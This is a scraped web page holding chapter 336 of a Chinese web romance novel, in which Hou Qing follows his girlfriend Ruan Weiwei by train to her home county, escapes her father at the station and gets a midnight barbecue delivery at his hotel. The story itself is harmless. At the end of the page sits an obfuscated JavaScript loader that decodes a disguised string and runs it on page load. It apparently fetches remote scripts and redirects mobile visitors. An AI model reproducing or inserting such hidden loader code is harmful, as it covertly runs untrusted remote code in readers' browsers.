首页
第336章 豫省
返回
关灯 护眼:关 字号:小

第336章 豫省

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    江城火车站。
    春运的浪潮席卷了整座城市。
    候车大厅里乌泱泱全是人,泡面味,劣质香水味和行李箱滚轮摩擦地面的声音混杂在一起,吵得人脑壳疼。
    侯青拖着行李箱,艰难地穿过人群。
    两天前。
    健身房正式挂上了放假的牌子。
    刘铮发完最后一个月的工资和年终奖,背着双肩包潇洒地回老家过年去了。
    侯青也没闲着,转身就回宿舍收拾好了行李,打算死皮赖脸地跟着阮唯唯回她豫省老家住半个月。
    “侯青,这边!”
    不远处的检票口柱子旁,穿的像企鹅的阮唯唯正踮着脚朝他挥手。
    小姑娘头顶戴着一顶毛线帽,大半张脸都缩在红色的粗线围巾里,只露出一双眼睛。
    侯青快步走过去,顺手接过她手里那个看起来颇有年代感的帆布包,掂了掂。
    “挺沉啊,里面装的什么?”
    阮唯唯脸一红,赶紧把帆布包抢回来抱在怀里,“吃的……路上吃。”
    “江城到你家的高铁也就四个小时,你准备的也太充足了。”侯青调侃道。
    “不是高铁。”
    阮唯唯低下头,声音闷闷的,“过年的高铁票太贵了,而且到市里还得转大巴。我买的是直达县城的绿皮车,硬卧,要坐七个半小时。”
    她偷偷抬眼打量侯青的脸色,有些局促。
    她知道侯青家里条件不错,平时出门也习惯了舒服的交通方式,怕他嫌弃绿皮车条件差。
    侯青看着她这副小心翼翼的模样,不由轻笑出声。
    他没多说什么,只是伸手揉了揉她的头,“硬卧好啊,能躺着。走吧,检票了。”
    随着拥挤的人流挤上火车。
    车厢里的暖气开得很足,甚至有些闷热。
    两人找到位置,是挨着的两个下铺。
    侯青把行李箱塞进床底,又把阮唯唯手里的帆布包放在小桌板上。
    刚坐下,对铺一个带小孩的大妈就热情地搭了句话:“小伙子,带媳妇回老家过年啊?”
    阮唯唯刚摘下围巾,听到这话,白皙的脸颊瞬间肉眼可见地红透了,连连摆手,“不,不是的,我们还没结婚……”
    “对,是情侣。”侯青靠在靠背上,笑眯眯地接话,“顺路去她家那边住一段时间。”
    大妈露出一个我都懂的笑容,转头去哄孩子了。
    阮唯唯松了口气,坐在铺位边缘,双手局促地捏着羽绒服的拉链。
    这是她第一次带男生回老家,虽然侯青说只是住在县城的快捷酒店,顺便在这边找个网吧或者理货兼职陪她,但一想到两人要在同一个小县城待上半个月,她就紧张得手心出汗。
    火车咣当咣当启动,缓缓驶出江城站。
    窗外的景色开始倒退,从高楼大厦逐渐变成灰蒙蒙的农田和光秃秃的树林。
    “饿不饿?”侯青问。
    阮唯唯点点头,拉开帆布包的拉链。
    侯青探头过去一看。
    好家伙。
    里面说是小型杂货铺都不为过了。
    泡面,火腿肠,卤蛋,砂糖橘,甚至还有几个用保温盒装着的白水煮鸡蛋。
    “火车上的盒饭要三十块一份,而且不是很好吃。”阮唯唯小声解释,像是在为自己带这么多东西找理由,“我早上起得早,煮了鸡蛋,你吃吗?”
    她拿出一个还温热的白水蛋递过去。
    侯青接过鸡蛋,顺手在小桌板上敲碎蛋壳,熟练地剥起来。
    “你这勤俭持家的属性真是点满了,以后要是娶了你,我都不敢想能省下多少钱。”
    阮唯唯脸更红了,低着头剥橘子,假装没听见他的明示。
    侯青看着她,忍不住伸手揉了揉她的脸,“节省是好事,但也别太节省了,我记得你舍友家庭条件都挺好的,和她们相处也别难为自己,如果缺钱的话就和我说。”
    “她们是她们,我是我,能多省一点总归是好的。”阮唯唯把剥好的砂糖橘分了一半给侯青。
    “而且大家平时也都很节约,特别是浅浅,除了买游戏和给陆学长买礼物,她自己很少花钱,梦雅和筱筱这学期也没见买什么很贵的东西。”
    提到陆扬,侯青忍不住笑了起来。
    “扬哥现在估计正水深火热呢,跟着去见老丈人,指不定被灌成什么样。”他一口吞下鸡蛋,差点噎住,赶紧拧开一瓶矿泉水灌了半口,“还是我住酒店这招聪明,不提前见岳父,战略性转移。”
    阮唯唯看着他,有些担忧道:“你家里人真的同意你不回家吗?”
    “我爸那人你不知道,神的很,他巴不得我早点给他带个儿媳妇回去,我跟他说我去陪女朋友了,他当场就给我转了五千,让我好好陪你。”侯青说。
    阮唯唯被他直白的话羞得不知道往哪看,只能转移话题。
    “等到了地方,我先带你去酒店放行李,那家快捷酒店我查过了,一晚上八十,挺干净的。然后……然后我带你去吃烩面,我们那儿的烩面可好吃了。”
    “行,客随主便。”侯青靠在被子上,打了个哈欠。
    车厢里的光线逐渐暗下来,过道上的灯亮起。
    绿皮火车特有的节奏感让人昏昏欲睡。
    阮唯唯脱了鞋,盘腿坐在铺位上,拿出一本书在看。
    侯青闲着有些无聊,拿出手机刷了一会儿,眼皮开始打架。
    “我先睡会儿,有事叫我。”
    “嗯呢,你睡吧,东西我看着。”阮唯唯乖巧地点头。
    侯青拉过被子盖上,闭上眼睛。
    过了不知道多久。
    侯青迷迷糊糊间感觉到有人在帮他掖被角。
    动作很轻。
    带着点小心翼翼的试探。
    他没睁眼,呼吸依旧平稳,嘴角却忍不住往上扬了扬。
    等他再次醒来时,已经是晚上八点了。
    车厢里飘满了各种口味的泡面味,红烧牛肉和老坛酸菜的香味交织在一起,直往鼻子里钻。
    侯青掀开被子坐起身,发现阮唯唯正捧着一盒泡面,小口小口地吸溜着。
    看到他醒了,她赶紧咽下嘴里的面条。
    “你醒啦,我给你也泡了一盒。”她指了指小桌板上另一盒用书压着的红烧牛肉面。
    “太贴心了唯唯。”
    侯青挪动身子坐过去,掀开盖,热气腾腾的香味扑面而来。
    他也不客气,拿起叉子大口吃起来。
    两人面对面吃着泡面。
    “到了之后有什么打算?”侯青一边吃一边问,“真去超市做理货员?”
    “嗯。”阮唯唯点头,“我妈在那个超市做收银,我过去兼职能互相有个照应。一天能有一百二呢,干半个月够下学期的生活费了。”
    她停顿了一下,看着侯青,“你呢?真要在酒店待半个月吗?我们县很无聊的,连个像样的景点都没有。”
    “没事,我在网吧找个兼职做网管就行,也不闲着。”侯青吃完最后一口面,连汤都喝干净了,“再说了,有你在的城市怎么可能无聊。”
    情话张口就来,这是他最近在陆扬那里偷师学来的技能。
    虽然有些生硬,但对付阮唯唯这种社恐少女,可以说是招招致命。
    果不其然。
    阮唯唯瞬间被噎得说不出话,只能默默收拾泡面盒。
    夜深了。
    车厢里的灯熄灭了大半,只剩下过道上的地灯散发着微弱的光。
    周围响起此起彼伏的呼噜声。
    阮唯唯躺在自己的铺位上,盖着厚厚的被子,却怎么也睡不着。
    她侧过身,看着对面铺位上的侯青。
    他睡得很沉。
    阮唯唯忍不住伸出手,隔着空气轻轻描摹了一下他的轮廓。
    其实她心里很清楚侯青为什么放着舒舒服服的寒假不过,非要跟着她跑到这个偏僻的小县城受罪。
    她也知道两人之间的家庭条件有差距,但这半年来的相处,侯青给足了她安全感和尊重。
    他从来不会居高临下地施舍,而是用最笨拙也最真诚的方式在保护她的自尊。
    “傻子。”
    阮唯唯小声嘀咕了一句,嘴角却带着甜甜的笑意。
    凌晨两点半。
    “各位旅客,前方到站,平远县站。有下车的旅客请提前带好您的随身物品……”
    乘务员大喇叭的声音在车厢里响起。
    侯青猛地惊醒,起身揉了揉眼睛。
    对面铺位上,阮唯唯已经把行李都收拾好了,正坐在那儿等他。
    “到了?”侯青嗓子有点哑。
    “快了,还有十分钟。”阮唯唯递给他一瓶水。
    侯青咕咚咕咚灌了半瓶,彻底清醒过来。
    他套上外套,从床底下拉出自己的行李箱。
    “走吧,准备下车。”
    列车缓缓减速,最终伴随着一阵刺耳的刹车声,停在了简陋的站台上。
    半夜的小县城火车站冷清得吓人。
    几盏昏黄的路灯在寒风中摇晃,天上飘着零星的雪花。
    两人走出出站口,一股刺骨的寒风迎面扑来。
    侯青打了个哆嗦,正准备掏手机叫车。
    突然,不远处的面包车旁亮起两声刺耳的喇叭声。
    紧接着,一个裹着军大衣的中年男人从车上跳下来,大步朝这边走过来。
    “唯唯!”
    男人嗓门很大,透着浓浓的乡音。
    阮唯唯浑身一僵,脸上的血色瞬间褪了个干净,结结巴巴地喊了一声:“爸……”
    侯青掏手机的动作僵在半空。
    草。
    说好的偷偷回来呢?
    中年男人走到两人面前,目光先是在阮唯唯身上扫了一圈,确定闺女没少块肉,这才把视线落在一旁拖着行李箱的侯青身上。
    “这小伙子是……”阮宏勇皱起眉头,上下打量着侯青。
    大半夜的。
    一个长得还算不错的小伙子跟着自家闺女下了火车,只要是个正常爹,都会忍不住血压飙升吧。
    阮唯唯急得快哭了,双手死死攥着衣角,大脑一片空白。
    她根本没告诉家里今晚几点到,本来打算和侯青去酒店住一晚,明天早上再给家里打电话说自己回来的。
    可没想到自家老爸竟然早早就来等着了。
    侯青在短暂愣神过后,迅速反应过来,脸上立刻露出一个憨厚的笑容,大步上前。
    “叔叔您好!我是唯唯的大学同学,我叫侯青,去隔壁市探亲的,唯唯说她行李多拿不动,我就帮她把行李拎下车,看到您来接她我就放心了!”
    阮宏勇愣了一下,看着侯青手里的帆布包。
    “同学啊……”
    他脸色缓和了几分,但依然带着审视。
    “对对对,同学!那什么,我那趟车快开了,叔叔我先走一步,祝您新年快乐!”
    侯青说得干脆利落,把帆布包往阮唯唯怀里一塞,转身拖着自己的行李箱就往另一个方向的站前广场走去。
    阮唯唯抱着包,看着侯青离去的背影,心里急得不行,但又不敢在老爸面前表现出来。
    “这小伙子,跑这么快干啥,还想着请他去家里坐坐呢。”
    阮宏勇嘟囔了一句,接过闺女的包,“走吧,还没吃饭吧,你妈在家给你下饺子呢。”
    “哦……”
    阮唯唯低着头跟在后面。
    另一边。
    侯青拖着行李箱,在寒风中走出了两百米,回头确认阮父的面包车已经开走,这才长长地松了一口气。
    “妈的,吓死老子了。”
    他擦了擦额头上的冷汗,心有余悸。
    刚才那阵仗,要是被当场抓获,他不敢保证阮父会不会当场把他塞进面包车后备箱里拉到郊外埋了。
    一阵寒风吹过。
    侯青紧了紧衣领,看着空荡荡的站前广场,陷入了沉思。
    “酒店……在哪来着?”
    他掏出手机,发现阮唯唯两分钟前发来了一个定位,附带一条消息。
    【唯唯:对不起对不起!我不知道我爸查了车次来接我!你先去酒店,明天早上我溜出来找你!注意安全!】
    【唯唯:大哭.jpg】
    看着屏幕上的表情包,侯青被冻僵的脸上忍不住露出笑意。
    “行吧。”
    他点开导航,拖着行李箱消失在小县城的夜色里。
    ......
    深夜的平原县城。
    风刮得像刀子。
    侯青拖着行李箱,跟着手机导航,在街上走了足足半个多小时。
    街边的店铺早关门了,连家24小时便利店都找不到。
    拐了三四个弯,闪着红光的平安快捷宾馆招牌终于出现在视野里。
    推开擦的锃亮的玻璃门。
    前台里。
    一个裹着棉袄的大妈正盯着平板电脑看古装剧,听到动静头都没抬。
    “住宿?大床八十,双床一百,押金五十,要身份证。”
    大妈熟练地报出价格。
    “大床房吧,住半个月,能打折吗?”侯青把身份证递过去。
    他虽然不缺钱,但跟阮唯唯待久了,嘴里不自觉就蹦出了讲价的习惯。
    大妈终于抬起头,上下打量了他一眼,从抽屉里摸出一张房卡拍在桌上。
    “半个月一千,免押金。二楼左转204,热水要放两分钟才有,电视遥控器在床头柜,别在床上抽烟烫窟窿,烫了要赔钱的。”
    侯青拿出身份证扫码付了钱,拎着箱子踩着咯吱作响的木楼梯上了二楼。
    推开204的门。
    房间不大,装修还算精致,一张大床占据了大部分空间。
    地暖开的很足,甚至有点燥热。
    侯青把行李箱往角落一塞,一头扎在柔软的床上。
    折腾了一天,骨头都快散架了。
    他从兜里摸出手机,刚准备给阮唯唯发个“安全到达”的信息,屏幕突然跳出了微信视频请求。
    来电人:唯唯。
    侯青立刻接通。
    屏幕晃动了一下,画面里光线很暗,只能隐约看到一团厚厚的棉被。
    接着,被子边缘被悄悄掀开一条缝,阮唯唯那张白净的小脸露了出来,只露出眼睛和鼻子以上的部分。
    “到了吗?”
    少女的声音压得很低,气声里带着紧张,“房间好不好?冷不冷?”
    “到了到了。”
    侯青把手机举高,转动镜头让她看了一圈房间,“大床房,住半个月只要一千,装修挺好,就是墙有点掉渣了。”
    屏幕里。
    阮唯唯的眉毛顿时耷拉下来,眼底写满了心疼和愧疚。
    “都怪我……要不是我爸突然去车站,你就不用大半夜在外面冻着找酒店了。”
    小姑娘声音里带上了鼻音,甚至眼眶都有点泛红。
    在江大,侯青穿的用的都不是便宜货,现在却为了她,缩在这么个破破烂烂的县城小宾馆里。
    “打住啊,别哭。”侯青最怕她这副可怜巴巴的模样,赶紧把脸凑近屏幕。
    “我又不是什么娇生惯养的大少爷,这床挺软的,地暖开的也足,而且就算叔叔不来接你我也得腿着过来,大半夜的根本打不着车,与其咱俩一起挨冻,不如我自己苦点。”
    “可是……”
    “没什么可是的。”侯青打断她,笑眯眯地问,“你那边情况怎么样?你爸没起疑心吧?”
    “没。”阮唯唯吸了吸鼻子,“我爸以为你就是个顺路的同学,没多问。到家的时候我妈给我下了一大碗酸汤水饺,我都吃撑了。”
    “那就好,吃饱了就赶紧睡,明天不是还要去问兼职的事吗?”侯青说着,肚子却不争气地发出了一声抗议。
    安静的房间里,这声音通过麦克风清晰地传到了阮唯唯那边。
    屏幕里的小姑娘愣了一下。
    侯青老脸一红,“那什么,火车上那桶泡面消化得比较快,年轻人嘛,新陈代谢旺盛。”
    阮唯唯没说话,只是定定地看着他,突然弯了弯眼睛。
    “你等一下,先不要睡哦。”
    “啊?等什么?”
    还没等侯青问明白,门外突然传来了沉重的脚步声,接着是“咚咚咚”的敲门声。
    “204!外卖!”
    侯青懵了。
    他走过去拉开门,一个穿着厚实冲锋衣的黄盔小哥拎着个大塑料袋站在门口,被冻得直哆嗦。
    “尾号四个零,侯先生对吧?东北烧烤,趁热吃啊,这鬼天气冻死个人。”
    外卖小哥把袋子往侯青手里一塞,转身就跑。
    侯青拎着烧烤回到床边,屏幕里的阮唯唯正捂着嘴偷笑。
    “你什么时候点的?”侯青把塑料袋打开。
    里面有十几串羊肉,两串烤腰子,一个烤茄盒,甚至还有一份锡纸金针菇和一罐热腾腾的红豆奶茶。
    在这大半夜的小县城里,这顿烧烤绝对算得上顶配了。
    “给你发定位的时候点的。”阮唯唯把被子往下扯了扯,露出整张脸,脸被憋的有些泛红,“我就知道一桶泡面你肯定吃不饱。”
    侯青看着面前的烤串,突然一脸严肃的拱手道:“感谢小主的投喂,微臣这就开动了。”
    阮唯唯被他这奇妙的比喻逗笑了,随后又认真起来,小声算着账:“我算过了,明天去超市问问,如果理货员的工作能定下来,一天一百二,半个月就是一千八。
    加上我之前攒下的钱,完全够我们的开销,你每天住酒店的钱我来出,吃饭我也包了,你不要动你爸给你的钱。”
    侯青咬着羊肉串的动作停住了。
    他看向屏幕里的女孩。
    她不让他花钱,显然是想用自己微薄的力量来维护这段感情的平等,是在竭尽全力地证明她能对他好。
    “所以你这是要包养我吗?”侯青咽下嘴里的肉,调侃道。
    “我……我也不是那个意思。”阮唯唯慌了,以为伤到了他的自尊,赶紧解释,“我就是觉得你大老远跑过来,我作为……作为女朋友,应该照顾好你。”
    最后几个字,她声如蚊蝇,整张脸瞬间红到了耳根,猛地把被子拉上来盖住头。
    “好好好,知道了小富婆。”
    侯青被她这副模样可爱得不行,心里的疲惫一扫而空。
    “你快睡吧,明天早上见。”
    “好,明天早上我去给你送早饭,晚安啦。”
    “晚安。”
    ——————————
    日五千八。
    大章,有点头疼,就不分章了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();